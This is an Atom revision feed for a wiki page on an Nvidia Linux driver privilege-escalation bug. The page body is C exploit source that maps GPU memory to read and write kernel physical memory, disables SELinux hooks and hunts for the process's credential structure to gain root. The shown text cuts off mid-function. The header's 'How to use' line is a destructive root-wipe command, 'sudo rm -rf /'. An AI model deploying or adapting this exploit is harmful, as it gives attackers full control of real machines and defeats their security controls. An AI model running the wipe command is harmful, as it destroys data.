<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Nvidia_Linux_%E9%A9%85%E5%8B%95%E7%A8%8B%E5%BA%8F%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E</id>
	<title>Nvidia Linux 驅動程序特權提升漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Nvidia_Linux_%E9%A9%85%E5%8B%95%E7%A8%8B%E5%BA%8F%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Nvidia_Linux_%E9%A9%85%E5%8B%95%E7%A8%8B%E5%BA%8F%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-09T04:37:27Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Nvidia_Linux_%E9%A9%85%E5%8B%95%E7%A8%8B%E5%BA%8F%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E&amp;diff=724&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; /* Anonymous  *  * How to use: sudo rm -rf /  *  * greetz: djrbliss, kad, Ac1dB1tch3z, nVidia!  *  * Only complete fix patch nvidia drivers and redefine  * IS_BL...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Nvidia_Linux_%E9%A9%85%E5%8B%95%E7%A8%8B%E5%BA%8F%E7%89%B9%E6%AC%8A%E6%8F%90%E5%8D%87%E6%BC%8F%E6%B4%9E&amp;diff=724&amp;oldid=prev"/>
		<updated>2021-03-27T03:35:15Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; /* Anonymous  *  * How to use: sudo rm -rf /  *  * greetz: djrbliss, kad, Ac1dB1tch3z, nVidia!  *  * Only complete fix patch nvidia drivers and redefine  * IS_BL...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
/* Anonymous&lt;br /&gt;
 *&lt;br /&gt;
 * How to use: sudo rm -rf /&lt;br /&gt;
 *&lt;br /&gt;
 * greetz: djrbliss, kad, Ac1dB1tch3z, nVidia!&lt;br /&gt;
 *&lt;br /&gt;
 * Only complete fix patch nvidia drivers and redefine&lt;br /&gt;
 * IS_BLACKLISTED_REG_OFFSET:&lt;br /&gt;
&lt;br /&gt;
#define IS_BLACKLISTED_REG_OFFSET(nv, offset, length) 1&lt;br /&gt;
&lt;br /&gt;
 */&lt;br /&gt;
&lt;br /&gt;
#define _GNU_SOURCE&lt;br /&gt;
#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/sysinfo.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdint.h&amp;gt;&lt;br /&gt;
#include &amp;lt;inttypes.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdarg.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/wait.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/socket.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/netlink.h&amp;gt;&lt;br /&gt;
#include &amp;lt;linux/inet_diag.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;sys/mman.h&amp;gt;&lt;br /&gt;
#include &amp;lt;errno.h&amp;gt;&lt;br /&gt;
#include &amp;lt;netinet/in.h&amp;gt;&lt;br /&gt;
#include &amp;lt;dirent.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#ifdef __x86_64__&lt;br /&gt;
#define KERNEL_BASE 0xffffffff80000000L&lt;br /&gt;
#else&lt;br /&gt;
#define KERNEL_BASE 0xc0000000&lt;br /&gt;
#endif&lt;br /&gt;
&lt;br /&gt;
#define ENTRY 0xdc&lt;br /&gt;
&lt;br /&gt;
#define inline __attribute__((always_inline))&lt;br /&gt;
#ifdef __x86_64__&lt;br /&gt;
#define __kernel&lt;br /&gt;
#else&lt;br /&gt;
#define __kernel __attribute__((regparm(3)))&lt;br /&gt;
#endif&lt;br /&gt;
#define __used __attribute((used))&lt;br /&gt;
&lt;br /&gt;
static unsigned long kernel_ofs_phys;&lt;br /&gt;
static volatile uint32_t *cve_2012_YYYY;&lt;br /&gt;
&lt;br /&gt;
static void poke_byte(volatile uint32_t *m, uint32_t ofs, uint8_t val)&lt;br /&gt;
{&lt;br /&gt;
  uint32_t i = (ofs &amp;amp; 3) * 8;&lt;br /&gt;
  ofs &amp;gt;&amp;gt;= 2;&lt;br /&gt;
  m[ofs] = (m[ofs] &amp;amp; ~(0xff &amp;lt;&amp;lt; i)) | (val &amp;lt;&amp;lt; i);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
static void physread16(volatile uint32_t *m, uint32_t target, uint32_t *buffer)&lt;br /&gt;
{&lt;br /&gt;
  if (1) {&lt;br /&gt;
    uint32_t ofs = (target &amp;amp; 0x3ffff)/4, i;&lt;br /&gt;
&lt;br /&gt;
    if (target &amp;amp; 0xf) {&lt;br /&gt;
      printf(&amp;quot;[ ] Function requires 16-byte alignment for input!\n&amp;quot;);&lt;br /&gt;
      exit(-1);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    cve_2012_YYYY[0xf00/4] = 0xb | ((target &amp;gt;&amp;gt; 18) &amp;lt;&amp;lt; 10);&lt;br /&gt;
    memset(buffer, 0, 16);&lt;br /&gt;
    for (i = 0; i &amp;lt; 4; ++i) {&lt;br /&gt;
      uint32_t shift = i * 8;&lt;br /&gt;
      poke_byte(cve_2012_YYYY, 0x204, i);&lt;br /&gt;
      buffer[0] |= (m[ofs/4] &amp;amp; 0xff) &amp;lt;&amp;lt; shift;&lt;br /&gt;
      buffer[1] |= ((m[ofs/4] &amp;amp; 0xff00) &amp;gt;&amp;gt; 8) &amp;lt;&amp;lt; shift;&lt;br /&gt;
      buffer[2] |= ((m[ofs/4] &amp;amp; 0xff0000) &amp;gt;&amp;gt; 16) &amp;lt;&amp;lt; shift;&lt;br /&gt;
      buffer[3] |= ((m[ofs/4] &amp;amp; 0xff000000) &amp;gt;&amp;gt; 24) &amp;lt;&amp;lt; shift;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
static void physwrite16(volatile uint32_t *m, uint32_t target, uint32_t *buffer)&lt;br /&gt;
{&lt;br /&gt;
  if (1) {&lt;br /&gt;
    uint32_t i, ofs = (target &amp;amp; 0x3ffff)/4;&lt;br /&gt;
    if (target &amp;amp; 0xf) {&lt;br /&gt;
      printf(&amp;quot;[ ] Function requires 16-byte alignment for output!\n&amp;quot;);&lt;br /&gt;
      exit(-1);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    cve_2012_YYYY[0xf00/4] = 0xb | ((target &amp;gt;&amp;gt; 18) &amp;lt;&amp;lt; 10);&lt;br /&gt;
&lt;br /&gt;
    for (i = 0; i &amp;lt; 4; ++i) {&lt;br /&gt;
      int shift = 8 * i;&lt;br /&gt;
      uint32_t val;&lt;br /&gt;
      poke_byte(cve_2012_YYYY, 0x102, 1&amp;lt;&amp;lt;i);&lt;br /&gt;
      val = (buffer[0] &amp;gt;&amp;gt; shift) &amp;amp; 0xff;&lt;br /&gt;
      val |= ((buffer[1] &amp;gt;&amp;gt; shift) &amp;amp; 0xff) &amp;lt;&amp;lt; 8;&lt;br /&gt;
      val |= ((buffer[2] &amp;gt;&amp;gt; shift) &amp;amp; 0xff) &amp;lt;&amp;lt; 16;&lt;br /&gt;
      val |= ((buffer[3] &amp;gt;&amp;gt; shift) &amp;amp; 0xff) &amp;lt;&amp;lt; 24;&lt;br /&gt;
      m[ofs/4] = val;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
unsigned long virt2phys(unsigned long addr)&lt;br /&gt;
{&lt;br /&gt;
  unsigned long phys;&lt;br /&gt;
  addr &amp;amp;= ~KERNEL_BASE;&lt;br /&gt;
  addr += kernel_ofs_phys;&lt;br /&gt;
  phys = addr &amp;amp; 0xffffffff;&lt;br /&gt;
  return phys;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
// dest has to be 16-byte and slightly larger for unaligned reads&lt;br /&gt;
void *kernel_read(volatile uint32_t *m, void *dest, unsigned long src, unsigned long len)&lt;br /&gt;
{&lt;br /&gt;
  uint32_t rem, phys = virt2phys(src);&lt;br /&gt;
  void *ret = dest + (src &amp;amp; 0xf);&lt;br /&gt;
&lt;br /&gt;
  rem = (-phys) &amp;amp; 0xf;&lt;br /&gt;
  if (rem) {&lt;br /&gt;
    physread16(m, phys &amp;amp; ~0xf, dest);&lt;br /&gt;
    dest += 0x10;&lt;br /&gt;
    phys += rem;&lt;br /&gt;
    if (len &amp;gt; rem)&lt;br /&gt;
      len -= rem;&lt;br /&gt;
    else&lt;br /&gt;
      len = 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  for (; len; phys += 0x10, dest += 0x10, len -= len &amp;gt;= 16 ? 16 : len)&lt;br /&gt;
    physread16(m, phys, dest);&lt;br /&gt;
&lt;br /&gt;
  return ret;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void kernel_write(volatile uint32_t *m, unsigned long dest, unsigned long src, unsigned long len)&lt;br /&gt;
{&lt;br /&gt;
  uint32_t phys;&lt;br /&gt;
  unsigned long remaining, towrite, i;&lt;br /&gt;
&lt;br /&gt;
  phys = virt2phys(dest);&lt;br /&gt;
&lt;br /&gt;
  if (!m || m == MAP_FAILED)&lt;br /&gt;
    puts(&amp;quot;not actually writing...&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
  if (1) {&lt;br /&gt;
    remaining = len;&lt;br /&gt;
    for (i = 0; i &amp;lt; len; i += 16) {&lt;br /&gt;
      uint32_t buffer[4];&lt;br /&gt;
      if (remaining &amp;lt; 16)&lt;br /&gt;
        physread16(m, phys + i, (uint32_t*)buffer);&lt;br /&gt;
      towrite = remaining &amp;gt; 16 ? 16 : remaining;&lt;br /&gt;
      memcpy(buffer, (void*)(src + i), towrite);&lt;br /&gt;
      physwrite16(m, phys + i, (uint32_t*)buffer);&lt;br /&gt;
      remaining -= 16;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
static void mode_x(volatile uint32_t *x) {&lt;br /&gt;
  // http://wiki.osdev.org/VGA_Hardware Mode X&lt;br /&gt;
&lt;br /&gt;
  // 3c0&lt;br /&gt;
  x[0x310/4] = 0x000f0041;&lt;br /&gt;
  x[0x314/4] = 0;&lt;br /&gt;
&lt;br /&gt;
  // 3c2&lt;br /&gt;
  x[0x000/4] = 0xe3;&lt;br /&gt;
&lt;br /&gt;
  // 3c4&lt;br /&gt;
  x[0x100/4] = 0x000f0103;&lt;br /&gt;
  x[0x104/4] = 0x06;&lt;br /&gt;
&lt;br /&gt;
  // 3ce&lt;br /&gt;
  x[0x204/4] = 0x0f054000;&lt;br /&gt;
&lt;br /&gt;
  // 3d4&lt;br /&gt;
  x[0x400/4] = 0x82504f5f;&lt;br /&gt;
  x[0x404/4] = 0x3e0d8054;&lt;br /&gt;
  poke_byte(x, 0x408, 0);&lt;br /&gt;
  poke_byte(x, 0x409, 0x41);&lt;br /&gt;
  x[0x410/4] = 0x28dfacea;&lt;br /&gt;
  x[0x414/4] = 0xe306e700;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
static int dirfilter(const struct dirent *d) {&lt;br /&gt;
  return d-&amp;gt;d_type == DT_LNK &amp;amp;&amp;amp; strchr(d-&amp;gt;d_name, ':');&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
static int nvidia_fd(uint64_t *res) {&lt;br /&gt;
&lt;br /&gt;
  struct dirent **list;&lt;br /&gt;
  int fd, resfd, ret;&lt;br /&gt;
  char buf[256];&lt;br /&gt;
  ret = scandir(&amp;quot;/sys/bus/pci/drivers/nvidia&amp;quot;, &amp;amp;list, dirfilter, versionsort);&lt;br /&gt;
  if (ret &amp;lt;= 0)&lt;br /&gt;
    goto fail;&lt;br /&gt;
  sprintf(buf, &amp;quot;/sys/bus/pci/drivers/nvidia/%s/resource&amp;quot;, list[0]-&amp;gt;d_name);&lt;br /&gt;
  resfd = open(buf, O_RDONLY);&lt;br /&gt;
  if (resfd &amp;lt; 0)&lt;br /&gt;
    goto fail;&lt;br /&gt;
  read(resfd, buf, sizeof(buf));&lt;br /&gt;
  *res = strtoll(buf, NULL, 16);&lt;br /&gt;
  close(resfd);&lt;br /&gt;
&lt;br /&gt;
  if ((fd = open(&amp;quot;/dev/nvidia0&amp;quot;, O_RDWR)) &amp;lt; 0)&lt;br /&gt;
    goto fail;&lt;br /&gt;
  return fd;&lt;br /&gt;
&lt;br /&gt;
fail:&lt;br /&gt;
  perror(&amp;quot;COULD NOT DO SUPER SECRET HACKING STUFF, YOU ARE ON YOUR OWN!&amp;quot;);&lt;br /&gt;
  *res = 0;&lt;br /&gt;
  return -1;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
volatile uint32_t *nvidia_handle(int fd, uint64_t res) {&lt;br /&gt;
  // access 4 bytes at a time or things go weird&lt;br /&gt;
  volatile uint32_t *m;&lt;br /&gt;
&lt;br /&gt;
  if (fd &amp;lt; 0)&lt;br /&gt;
    return MAP_FAILED;&lt;br /&gt;
&lt;br /&gt;
  // I HAD TO LEARN VGA FOR THIS&lt;br /&gt;
  m = cve_2012_YYYY = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, res + 0x619000);&lt;br /&gt;
  if (m != MAP_FAILED) {&lt;br /&gt;
    if ((m[0xf00/4] &amp;amp; 8) &amp;amp;&amp;amp;&lt;br /&gt;
        (m = mmap(NULL, 0x10000, PROT_READ|PROT_WRITE, MAP_SHARED, fd, res + 0xa0000)) != MAP_FAILED) {&lt;br /&gt;
      printf(&amp;quot;[*] CVE-2012-YYYY\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
      mode_x(cve_2012_YYYY); // put into vga mode x, ish&lt;br /&gt;
     &lt;br /&gt;
      return m;&lt;br /&gt;
    }&lt;br /&gt;
    munmap((void*)cve_2012_YYYY, 0x1000);&lt;br /&gt;
    m = cve_2012_YYYY = MAP_FAILED;&lt;br /&gt;
  }&lt;br /&gt;
  return m;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
static int tasknamelen;&lt;br /&gt;
static char taskname[64];&lt;br /&gt;
&lt;br /&gt;
extern long gettask(void);&lt;br /&gt;
extern long testgetroot(void);&lt;br /&gt;
&lt;br /&gt;
__used __kernel extern long callsetroot(long uid, long gid);&lt;br /&gt;
&lt;br /&gt;
#define FN(x) &amp;quot;.globl &amp;quot; x &amp;quot;\n\t.type &amp;quot; x &amp;quot;,@function\n\t&amp;quot; x &amp;quot;:\n\t.cfi_startproc\n\t&amp;quot;&lt;br /&gt;
#define END &amp;quot;.cfi_endproc\n\t&amp;quot;&lt;br /&gt;
asm(&lt;br /&gt;
&amp;quot;.text\n\t.align 4\n\t&amp;quot;&lt;br /&gt;
FN(&amp;quot;testgetroot&amp;quot;)&lt;br /&gt;
  // AND HAVE FUN! :D&lt;br /&gt;
#ifdef __x86_64__&lt;br /&gt;
  &amp;quot;swapgs\n\t&amp;quot;&lt;br /&gt;
  &amp;quot;call getroot\n\t&amp;quot;&lt;br /&gt;
  &amp;quot;swapgs\n\t&amp;quot;&lt;br /&gt;
  &amp;quot;iretq\n\t&amp;quot;&lt;br /&gt;
#else&lt;br /&gt;
  &amp;quot;mov %fs, %edi\n\t&amp;quot;&lt;br /&gt;
  &amp;quot;mov $0xd8, %esi\n\t&amp;quot;&lt;br /&gt;
  &amp;quot;mov %esi, %fs\n\t&amp;quot;&lt;br /&gt;
  &amp;quot;call getroot\n\t&amp;quot;&lt;br /&gt;
  &amp;quot;mov %edi, %fs\n\t&amp;quot;&lt;br /&gt;
  &amp;quot;iretl\n\t&amp;quot;&lt;br /&gt;
#endif&lt;br /&gt;
END&lt;br /&gt;
&lt;br /&gt;
FN(&amp;quot;gettask&amp;quot;)&lt;br /&gt;
#ifdef __x86_64__&lt;br /&gt;
  // Grab some offsets from system_call&lt;br /&gt;
  &amp;quot;mov $0xc0000082, %ecx\n\t&amp;quot;&lt;br /&gt;
  &amp;quot;rdmsr\n\t&amp;quot;&lt;br /&gt;
  &amp;quot;movslq %eax, %rax\n\t&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  // Fuck optional alignment, fix it by looking for&lt;br /&gt;
  // the start prefix of our lovely mov %gs:.. in system_call we just found&lt;br /&gt;
  // this will get us kernel_stack, in which most cases it means that&lt;br /&gt;
  // our current_task is right below it&lt;br /&gt;
  // This is only needed if kallsyms fails&lt;br /&gt;
  &amp;quot;1:\n\t&amp;quot;&lt;br /&gt;
  &amp;quot;cmpw $0x4865, 0x3(%rax)\n\t&amp;quot;&lt;br /&gt;
  &amp;quot;je 2f\n\t&amp;quot;&lt;br /&gt;
  &amp;quot;incq %rax\n\t&amp;quot;&lt;br /&gt;
  &amp;quot;jmp 1b\n\t&amp;quot;&lt;br /&gt;
  &amp;quot;2:\n\t&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  &amp;quot;movl 17(%rax), %edx\n\t&amp;quot;&lt;br /&gt;
&lt;br /&gt;
  // blegh padding&lt;br /&gt;
  &amp;quot;3:\n\t&amp;quot;&lt;br /&gt;
  &amp;quot;addl $8, %edx\n\t&amp;quot;&lt;br /&gt;
  &amp;quot;movq %gs:(%edx), %rax\n\t&amp;quot;&lt;br /&gt;
  &amp;quot;test %eax, %eax\n\t&amp;quot;&lt;br /&gt;
  &amp;quot;jz 3b\n\t&amp;quot;&lt;br /&gt;
  &amp;quot;cmpl $-1, %eax\n\t&amp;quot;&lt;br /&gt;
  &amp;quot;je 3b\n\t&amp;quot;&lt;br /&gt;
#else&lt;br /&gt;
  // TODO: maybe..&lt;br /&gt;
  &amp;quot;xor %eax, %eax\n\t&amp;quot;&lt;br /&gt;
#endif&lt;br /&gt;
  &amp;quot;ret\n\t&amp;quot;&lt;br /&gt;
END&lt;br /&gt;
&lt;br /&gt;
#define S2(x) #x&lt;br /&gt;
#define S1(x) S2(x)&lt;br /&gt;
&lt;br /&gt;
FN(&amp;quot;callsetroot&amp;quot;)&lt;br /&gt;
#ifdef __x86_64__&lt;br /&gt;
  &amp;quot;int $&amp;quot; S1(ENTRY) &amp;quot;\n\t&amp;quot;&lt;br /&gt;
#else&lt;br /&gt;
  &amp;quot;push %edi\n\t&amp;quot;&lt;br /&gt;
  &amp;quot;push %esi\n\t&amp;quot;&lt;br /&gt;
  &amp;quot;int $&amp;quot; S1(ENTRY) &amp;quot;\n\t&amp;quot;&lt;br /&gt;
  &amp;quot;pop %esi\n\t&amp;quot;&lt;br /&gt;
  &amp;quot;pop %edi\n\t&amp;quot;&lt;br /&gt;
#endif&lt;br /&gt;
  &amp;quot;ret\n\t&amp;quot;&lt;br /&gt;
END&lt;br /&gt;
&lt;br /&gt;
&amp;quot;.previous&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
struct kallsyms {&lt;br /&gt;
  unsigned long *addresses;&lt;br /&gt;
  unsigned long num_syms;&lt;br /&gt;
  unsigned char *names;&lt;br /&gt;
  unsigned long *markers;&lt;br /&gt;
&lt;br /&gt;
  unsigned char *token_table;&lt;br /&gt;
  unsigned short *token_index;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
// Memory layout kallsyms, all pointer aligned:&lt;br /&gt;
// unsigned long addresses[num_kallsyms]&lt;br /&gt;
// unsigned long num_kallsyms&lt;br /&gt;
// unsigned char names[..]&lt;br /&gt;
// unsigned long markers[(num_kallsyms + 0xff) &amp;gt;&amp;gt; 8] = { 0, ... }&lt;br /&gt;
// char token_table[var...] = { null terminated strings }&lt;br /&gt;
// unsigned short token_index[var?...] = { 0, ... };&lt;br /&gt;
&lt;br /&gt;
// This should probably work for 64-bits and 32-bits kernels&lt;br /&gt;
// But only tested on 64-bits kernels&lt;br /&gt;
inline static long init_kallsyms(struct kallsyms *ks)&lt;br /&gt;
{&lt;br /&gt;
  unsigned long start = KERNEL_BASE + 0x1000000L;&lt;br /&gt;
  unsigned long *max = (void*)KERNEL_BASE + 0x2000000L;&lt;br /&gt;
  unsigned long *cur;&lt;br /&gt;
  for (cur = (void*)start; cur &amp;lt; max; cur += 2) {&lt;br /&gt;
    if (*cur == start &amp;amp;&amp;amp;&lt;br /&gt;
        (cur[1] == start || cur[-1] == start))&lt;br /&gt;
      goto unwind;&lt;br /&gt;
  }&lt;br /&gt;
  return -1;&lt;br /&gt;
&lt;br /&gt;
unwind:&lt;br /&gt;
  while ((cur[0] &amp;amp; KERNEL_BASE) == KERNEL_BASE)&lt;br /&gt;
    cur++;&lt;br /&gt;
  ks-&amp;gt;addresses = cur - *cur;&lt;br /&gt;
  ks-&amp;gt;num_syms = *(cur++);&lt;br /&gt;
  ks-&amp;gt;names = (unsigned char*)cur;&lt;br /&gt;
  do { cur++; } while (*cur);&lt;br /&gt;
  ks-&amp;gt;markers = cur;&lt;br /&gt;
  cur += (ks-&amp;gt;num_syms + 0xff) &amp;gt;&amp;gt; 8;&lt;br /&gt;
  ks-&amp;gt;token_table = (unsigned char*)cur;&lt;br /&gt;
  // Zero terminated string can create padding that could&lt;br /&gt;
  // be interpreted as token_index, requiring the || !*cur&lt;br /&gt;
  do { cur++; } while (*(unsigned short*)cur || !*cur);&lt;br /&gt;
  ks-&amp;gt;token_index = (unsigned short*)cur;&lt;br /&gt;
  return (long)ks-&amp;gt;num_syms;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
#define KSYM_NAME_LEN 128&lt;br /&gt;
inline static int kstrcmp(const char *x, const char *y)&lt;br /&gt;
{&lt;br /&gt;
  for (;*x == *y; x++, y++)&lt;br /&gt;
    if (!*x)&lt;br /&gt;
      return 0;&lt;br /&gt;
  return -1;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
/*&lt;br /&gt;
 * kallsyms.c: in-kernel printing of symbolic oopses and stack traces.&lt;br /&gt;
 *&lt;br /&gt;
 * Rewritten and vastly simplified by Rusty Russell for in-kernel&lt;br /&gt;
 * module loader:&lt;br /&gt;
 *   Copyright 2002 Rusty Russell &amp;lt;rusty@rustcorp.com.au&amp;gt; IBM Corporation&lt;br /&gt;
 *&lt;br /&gt;
 * ChangeLog:&lt;br /&gt;
 *&lt;br /&gt;
 * (25/Aug/2004) Paulo Marques &amp;lt;pmarques@grupopie.com&amp;gt;&lt;br /&gt;
 *      Changed the compression method from stem compression to &amp;quot;table lookup&amp;quot;&lt;br /&gt;
 *      compression (see scripts/kallsyms.c for a more complete description)&lt;br /&gt;
 */&lt;br /&gt;
&lt;br /&gt;
inline static unsigned int kallsyms_expand_symbol(struct kallsyms *ks, unsigned int off, char *result)&lt;br /&gt;
{&lt;br /&gt;
  int len, skipped_first = 0;&lt;br /&gt;
  const unsigned char *tptr, *data;&lt;br /&gt;
&lt;br /&gt;
  /* Get the compressed symbol length from the first symbol byte. */&lt;br /&gt;
  data = &amp;amp;ks-&amp;gt;names[off];&lt;br /&gt;
  len = *data;&lt;br /&gt;
  data++;&lt;br /&gt;
&lt;br /&gt;
  /*&lt;br /&gt;
   * Update the offset to return the offset for the next symbol on&lt;br /&gt;
   * the compressed stream.&lt;br /&gt;
   */&lt;br /&gt;
  off += len + 1;&lt;br /&gt;
&lt;br /&gt;
  /*&lt;br /&gt;
   * For every byte on the compressed symbol data, copy the table&lt;br /&gt;
   * entry for that byte.&lt;br /&gt;
   */&lt;br /&gt;
  while (len) {&lt;br /&gt;
    tptr = &amp;amp;ks-&amp;gt;token_table[ks-&amp;gt;token_index[*data]];&lt;br /&gt;
    data++;&lt;br /&gt;
    len--;&lt;br /&gt;
&lt;br /&gt;
    while (*tptr) {&lt;br /&gt;
      if (skipped_first) {&lt;br /&gt;
        *result = *tptr;&lt;br /&gt;
        result++;&lt;br /&gt;
      } else&lt;br /&gt;
        skipped_first = 1;&lt;br /&gt;
      tptr++;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  *result = '\0';&lt;br /&gt;
&lt;br /&gt;
  /* Return to offset to the next symbol. */&lt;br /&gt;
  return off;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
inline static unsigned long kdlsym(struct kallsyms *ks, char *name)&lt;br /&gt;
{&lt;br /&gt;
  char namebuf[KSYM_NAME_LEN];&lt;br /&gt;
  unsigned long i;&lt;br /&gt;
  unsigned int off;&lt;br /&gt;
&lt;br /&gt;
  for (i = 0, off = 0; i &amp;lt; ks-&amp;gt;num_syms; i++) {&lt;br /&gt;
    off = kallsyms_expand_symbol(ks, off, namebuf);&lt;br /&gt;
    if (kstrcmp(namebuf, name) == 0)&lt;br /&gt;
      return ks-&amp;gt;addresses[i];&lt;br /&gt;
  }&lt;br /&gt;
  return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
__used __kernel long getroot(long uid, long gid)&lt;br /&gt;
{&lt;br /&gt;
  int i;&lt;br /&gt;
  unsigned long cred;&lt;br /&gt;
  int *j = NULL;&lt;br /&gt;
  int k;&lt;br /&gt;
  char *p;&lt;br /&gt;
  struct kallsyms ks;&lt;br /&gt;
  unsigned long task_struct = 0;&lt;br /&gt;
&lt;br /&gt;
  long ret = init_kallsyms(&amp;amp;ks);&lt;br /&gt;
&lt;br /&gt;
  if (ret &amp;gt; 0) {&lt;br /&gt;
    void (*fn)(void);&lt;br /&gt;
    __kernel void *(*fn1)(void*);&lt;br /&gt;
    unsigned long task_offset;&lt;br /&gt;
    char fnops[] = &amp;quot;reset_security_ops&amp;quot;;&lt;br /&gt;
    char fntask[] = &amp;quot;current_task&amp;quot;;&lt;br /&gt;
    char fncred[] = &amp;quot;get_task_cred&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
    // SELINUX is overrated..&lt;br /&gt;
    fn = (void*)kdlsym(&amp;amp;ks, fnops);&lt;br /&gt;
    if (fn) fn();&lt;br /&gt;
&lt;br /&gt;
    // Get a more reliable offset to current_task if we can&lt;br /&gt;
    task_offset = kdlsym(&amp;amp;ks, fntask);&lt;br /&gt;
    if (task_offset)&lt;br /&gt;
#ifdef __x86_64__&lt;br /&gt;
      asm(&amp;quot;mov %%gs:(%1), %0&amp;quot; : &amp;quot;=r&amp;quot;(task_struct) : &amp;quot;r&amp;quot;(task_offset));&lt;br /&gt;
#else&lt;br /&gt;
      asm(&amp;quot;mov %%fs:(%1), %0&amp;quot; : &amp;quot;=r&amp;quot;(task_struct) : &amp;quot;r&amp;quot;(task_offset));&lt;br /&gt;
#endif&lt;br /&gt;
    else&lt;br /&gt;
      task_struct = gettask();&lt;br /&gt;
    if (!task_struct)&lt;br /&gt;
      return -4;&lt;br /&gt;
&lt;br /&gt;
    fn1 = (void*)kdlsym(&amp;amp;ks, fncred);&lt;br /&gt;
    if (fn1) {&lt;br /&gt;
      j = fn1((void*)task_struct);&lt;br /&gt;
      // And decrease refcount we just increased&lt;br /&gt;
      asm(&amp;quot;lock; decl (%0)&amp;quot; :: &amp;quot;r&amp;quot;(j));&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
  else if (!ret)&lt;br /&gt;
    task_struct = gettask();&lt;br /&gt;
  else&lt;br /&gt;
    return -ret;&lt;br /&gt;
  if (!task_struct)&lt;br /&gt;
    return -5;&lt;br /&gt;
&lt;br /&gt;
  // No kallsyms or no get_task_cred, manually try to find&lt;br /&gt;
  if (!j) {&lt;br /&gt;
    // all the creds are belong to us&lt;br /&gt;
    for (i = 0; i &amp;lt; 0x1000; i += sizeof(void*)) {&lt;br /&gt;
      p = (char *)(task_struct + i);&lt;br /&gt;
      for (k = 0; k &amp;lt; tasknamelen; k++) {&lt;br /&gt;
        if (p[k] != taskname[k])&lt;br /&gt;
          break;&lt;br /&gt;
      }&lt;br /&gt;
      if (k == tasknamelen) {&lt;br /&gt;
        cred = *(unsigned long *)((unsigned long)p - sizeof(unsigned long) * 2);&lt;br /&gt;
        j = (int *)cred;&lt;br /&gt;
        break;&lt;br /&gt;
      }&lt;br /&gt;
    }&lt;br /&gt;
    if (!j)&lt;br /&gt;
      return -1;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
  for (i = 0; i &amp;lt; 1000; i++, j++) {&lt;br /&gt;
    if (j[0] == uid &amp;amp;&amp;amp; j[1] == uid &amp;amp;&amp;amp; j[2] == uid &amp;amp;&amp;amp; j[3] == uid &amp;amp;&amp;amp;&lt;br /&gt;
        j[4] == gid &amp;amp;&amp;amp; j[5] == gid &amp;amp;&amp;amp; j[6] == gid &amp;amp;&amp;amp; j[7] == gid) {&lt;br /&gt;
&lt;br /&gt;
      /* uid, euid, suid, fsuid */&lt;br /&gt;
